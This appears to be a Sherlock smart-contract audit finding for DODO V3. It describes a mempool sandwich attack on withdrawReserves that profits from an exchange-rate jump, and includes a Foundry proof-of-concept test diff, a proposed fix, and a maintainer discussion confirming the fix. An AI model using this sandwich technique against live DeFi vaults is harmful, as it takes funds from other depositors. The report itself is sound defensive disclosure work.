dirk_y - User can perform sandwich attack on withdrawReserves for profit

[sherlock-admin]

dirk_y

high

User can perform sandwich attack on withdrawReserves for profit

Summary

A malicious user could listen to the mempool for calls to withdrawReserves, at which point they can perform a sandwich attack by calling userDeposit before the withdraw reserves transaction and then userWithdraw after the withdraw reserves transaction. They can accomplish this using a tool like flashbots and make an instantaneous profit due to changes in exchange rates.

Vulnerability Detail

When a user deposits or withdraws from the vault, the exchange rate of the token is calculated between the token itself and its dToken. As specified in an inline comment, the exchange rate is calculated like so:

// exchangeRate = (cash + totalBorrows -reserves) / dTokenSupply

where reserves = info.totalReserves - info.withdrawnReserves. When the owner of the vault calls withdrawReserves the withdrawnReserves value increases, so the numerator of the above formula increases, and thus the exchange rate increases. An increase in exchange rate means that the same number of dTokens is now worth more of the underlying ERC20.

Below is a diff to the existing test suite that demonstrates the sandwich attack in action:

diff --git a/new-dodo-v3/test/DODOV3MM/D3Vault/D3Vault.t.sol b/new-dodo-v3/test/DODOV3MM/D3Vault/D3Vault.t.sol
index a699162..337d1f5 100644
--- a/new-dodo-v3/test/DODOV3MM/D3Vault/D3Vault.t.sol
+++ b/new-dodo-v3/test/DODOV3MM/D3Vault/D3Vault.t.sol
@@ -233,6 +233,47 @@ contract D3VaultTest is TestContext {
         assertEq(d3Vault.getTotalDebtValue(address(d3MM)), 1300 ether);
     }
 
+    function testWithdrawReservesSandwichAttack() public {
+        // Get dToken
+        (address dToken2,,,,,,,,,,) = d3Vault.getAssetInfo(address(token2));
+        
+        // Approve tokens
+        vm.prank(user1);
+        token2.approve(address(dodoApprove), type(uint256).max);
+        vm.prank(user2);
+        token2.approve(address(dodoApprove), type(uint256).max);
+        vm.prank(user2);
+        D3Token(dToken2).approve(address(dodoApprove), type(uint256).max);
+
+        // Set user quotas and mint tokens
+        mockUserQuota.setUserQuota(user1, address(token2), 1000 ether);
+        mockUserQuota.setUserQuota(user2, address(token2), 1000 ether);
+        token2.mint(user1, 1000 ether);
+        token2.mint(user2, 1000 ether);
+
+        // User 1 deposits to allow pool to borrow
+        vm.prank(user1);
+        d3Proxy.userDeposit(user1, address(token2), 500 ether);
+        token2.mint(address(d3MM), 100 ether);
+        poolBorrow(address(d3MM), address(token2), 100 ether);
+
+        vm.warp(365 days + 1);
+
+        // Accrue interest from pool borrow
+        d3Vault.accrueInterest(address(token2));
+        uint256 reserves = d3Vault.getReservesInVault(address(token2));
+
+        // User 2 performs a sandwich attack on the withdrawReserves call to make a profit
+        vm.prank(user2);
+        d3Proxy.userDeposit(user2, address(token2), 100 ether);
+        vm.prank(vaultOwner);
+        d3Vault.withdrawReserves(address(token2), reserves);
+        uint256 dTokenBalance = D3Token(dToken2).balanceOf(user2);
+        vm.prank(user2);
+        d3Proxy.userWithdraw(user2, address(token2), dToken2, dTokenBalance);
+        assertGt(token2.balanceOf(user2), 1000 ether);
+    }
+
     function testWithdrawReserves() public {
         vm.prank(user1);
         token2.approve(address(dodoApprove), type(uint256).max);

Impact

An attacker can perform a sandwich attack on calls to withdrawReserves to make an instantaneous profit from the protocol. This effectively steals funds away from other legitimate users of the protocol.

Code Snippet

https://github.com/sherlock-audit/2023-06-dodo/blob/main/new-dodo-v3/contracts/DODOV3MM/D3Vault/D3VaultFunding.sol#L235

Tool used

Manual Review

Recommendation

There are a couple of ways this type of attack could be prevented:

1. User deposits could have a minimum lock time in the protocol to prevent an immediate withdraw. However the downside is the user will still profit in the same manner due to the fluctuation in exchange rates.
2. Increasing reserves whilst accruing interest could have an equal and opposite decrease in token balance accounting. Every time reserves increase you are effectively taking token value out of the vault and "reserving" it for the protocol. Given the borrow rate is higher than the reserve increase rate, the exchange rate will continue to increase. I think something like the following would work (please note I haven't tested this):

diff --git a/new-dodo-v3/contracts/DODOV3MM/D3Vault/D3VaultFunding.sol b/new-dodo-v3/contracts/DODOV3MM/D3Vault/D3VaultFunding.sol
index 2fb9364..9ad1702 100644
--- a/new-dodo-v3/contracts/DODOV3MM/D3Vault/D3VaultFunding.sol
+++ b/new-dodo-v3/contracts/DODOV3MM/D3Vault/D3VaultFunding.sol
@@ -157,6 +157,7 @@ contract D3VaultFunding is D3VaultStorage {
         uint256 compoundInterestRate = getCompoundInterestRate(borrowRatePerSecond, deltaTime);
         totalBorrowsNew = borrowsPrior.mul(compoundInterestRate);
         totalReservesNew = reservesPrior + (totalBorrowsNew - borrowsPrior).mul(info.reserveFactor);
+        info.balance = info.balance - (totalReservesNew - reservesPrior);
         borrowIndexNew = borrowIndexPrior.mul(compoundInterestRate);
 
         accrualTime = currentTime;
@@ -232,7 +233,7 @@ contract D3VaultFunding is D3VaultStorage {
         uint256 cash = getCash(token);
         uint256 dTokenSupply = IERC20(info.dToken).totalSupply();
         if (dTokenSupply == 0) { return 1e18; }
-        return (cash + info.totalBorrows - (info.totalReserves - info.withdrawnReserves)).div(dTokenSupply);
+        return (cash + info.totalBorrows).div(dTokenSupply);
     } 
 
     /// @notice Make sure accrueInterests or accrueInterest(token) is called before

[hrishibhat]

@traceurl
Is this a valid issue?

[traceurl]

@hrishibhat This is a valid issue.

[traceurl]

fixed in https://github.com/DODOEX/new-dodo-v3/pull/45

[IAm0x52]

Fix looks good. info.balance is now factors in the amount removed. Exchange rate before and after withdrawal are the same